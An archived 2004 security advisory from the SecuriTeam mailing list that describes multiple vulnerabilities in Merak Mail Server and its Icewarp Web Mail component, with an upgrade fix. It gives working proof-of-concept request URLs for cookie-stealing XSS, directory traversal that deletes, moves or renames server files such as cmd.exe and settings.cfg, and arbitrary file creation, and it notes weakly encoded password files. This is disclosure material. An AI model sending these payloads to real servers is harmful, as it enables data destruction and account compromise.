

[NT] Icewarp Web Mail Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0063.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 11/17/04

To: list@securiteam.com

Date: 17 Nov 2004 17:19:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Icewarp Web Mail Multiple Vulnerabilities

SUMMARY

<<http://www.merakmailserver.com/>> Merak Mail Server is "a high performance Windows-based secure Internet mail server software and GroupWare Server, supporting unlimited users, unlimited domains, POP3, SMTP, IMAP4, HTTP, LDAP, ODBC protocols, on-server virus scanning, on-server SPAM filtering, web mail accounts and much more ..."

Several types of vulnerabilities have been found in Merak Mail Server coupled with several vulnerabilities in Icewarp Web Mail component. The vulnerabilities range from XSS vulnerabilities, weak password encoding schemes to a arbitrary file manipulation on the target server.

DETAILS

Vulnerable Systems:

- * Merak Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
- * Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3 and #4 only)

Immune Systems:

- * Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0

Securiteam: [NT] Icewarp Web Mail Multiple Vulnerabilities

Multiple XSS vulnerabilities

A remote user who has an open session with the Merak Mail Server can launch cross site scripting attacks by abusing the send.html,

attachment.html and folderitem.html pages. Possible examples:

[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&redirectfile=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&Old_Folder=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&Old_Message=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&xwritesentcopy=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&returnreceipt=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&forwardfile=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&writepriority=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]©folder=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/send.html?id=[sessionid]&messageid=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_error=)
[</title><script>alert\(document.cookie\)</script>](http://localhost:32000/mail/attachment.html?id=[sessionid]&attachmentpage_text_title=)
[<script>alert\(document.cookie\)</script>](http://localhost:32000/mail/folderitem.html?id=[sessionid]&folderold=) (“Outlook like” skins are not vulnerable)

Remote arbitrary directory creation due to a directory traversal vulnerability

A remote user with an open session can create subdirectories on the server due to directory traversal bugs in the viewaction.html page. Example:

[http://localhost:32000/mail/viewaction.html?id=\[sessionid\]&folder=../../../../../../../../\[arbitrary directory\]&Move_x=1&originalfolder=blabla](http://localhost:32000/mail/viewaction.html?id=[sessionid]&folder=../../../../../../../../[arbitrary directory]&Move_x=1&originalfolder=blabla)

Note: Directories can be created on the same logical drive the system is running from because of the directory traversal.

Weak user passwords

The password encoding schemes used by the system are weak and easily reversible. In the users.cfg, settings.cfg files the "encryption" is a simple XOR-based encoding while in the users.dat, user.dat files the encoding is mere Base64 encoding. If an attacker is able to retrieve those files, the user accounts are compromised. Vulnerable files:

[MerakDir] \config\settings.cfg

[MerakDir] \config\ [DomainName] \users.cfg

[MerakDir] \webmail\config\users.dat

[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat

Securiteam: [NT] Icewarp Web Mail Multiple Vulnerabilities

Note: Merak Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 is also vulnerable and stores passwords in a very unsafe manner.

File creation with arbitrary content on the remote system

A remote user who has an active session on the server can create a text file on the Merak Mail Server with arbitrary content (including special characters). The Name of file will be accounts.dat. Combining this vulnerability with vulnerability #7 allows an attacker to execute arbitrary PHP code.

The vulnerable page through which this is possible is

'accountsettings_add.html'. Example:

[http://localhost:32000/mail/accountsettings_add.html?id=\[sessionid\]&Save_x=1&account\[EMAIL\]=hacker&account\[HOST\]=blackhat.org&account\[HOSTUSER\]=hacker&account\[HOSTPASS\]=31337&account\[HOSTPASS2\]=31337&accountid=\[arbitrary text\]](http://localhost:32000/mail/accountsettings_add.html?id=[sessionid]&Save_x=1&account[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[HOSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[arbitrary text])

Note: Merak Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 is also vulnerable and stores passwords in a very unsafe manner.

Arbitrary files deletion on the remote system

A remote user who has a session is able to delete any file on the local file system of the target server by exploiting the 'viewaction.html' page. Exploitation could lead to deletion of important data or a DoS condition.

Example:

[http://localhost:32000/mail/viewaction.html?id=\[sessionid\]&messageid=../../../../../../../../#8230;../../../../#8230;../../../../winnt/system32/cmd.exe&action=delete&originalfolder=blabla](http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=../../../../../../../../#8230;../../../../#8230;../../../../winnt/system32/cmd.exe&action=delete&originalfolder=blabla)

Moving arbitrary files or directories on the remote system

A user with a session against the server can move files and directories anywhere on the file system using a vulnerability in the 'viewaction.html'. Example:

[http://localhost:32000/mail/viewaction.html?id=\[sessionid\]&messageid=../../../../../../../../config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../../html/mail](http://localhost:32000/mail/viewaction.html?id=[sessionid]&messageid=../../../../../../../../config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../../html/mail)

Note: Since relative paths are used only one logical drive can be affected by this vulnerability.

Renaming arbitrary files or directories on the remote system

As with previous file-related vulnerabilities, a user with a legitimate session can rename any file or directory on the system. This is a private case of the previous vulnerability allowing a malicious user to move files around the local filesystem. However, this vulnerability is possible through the 'folders.html' page. Example:

[http://localhost:32000/mail/folders.html?id=\[sessionid\]&folderold=blabla../../../../../../../../config/settings.cfg&folder=blabla../../../../../../../../config/settings.html&Save_x=1](http://localhost:32000/mail/folders.html?id=[sessionid]&folderold=blabla../../../../../../../../config/settings.cfg&folder=blabla../../../../../../../../config/settings.html&Save_x=1)

Note: Since relative paths are used only one logical drive can be affected by this vulnerability.

Securiteam: [NT] Icewarp Web Mail Multiple Vulnerabilities

Impact

An attacker who successfully exploited vulnerabilities described in this report could take complete control of a Merak Mail Server and an affected remote system.

Solution

Users of this system are highly encouraged to upgrade to Merak Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 or disable the Icewarp service (control.exe).

ADDITIONAL INFORMATION

The information has been provided by <mailto:ss_contacts@hotmail.com>
ShineShadow.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.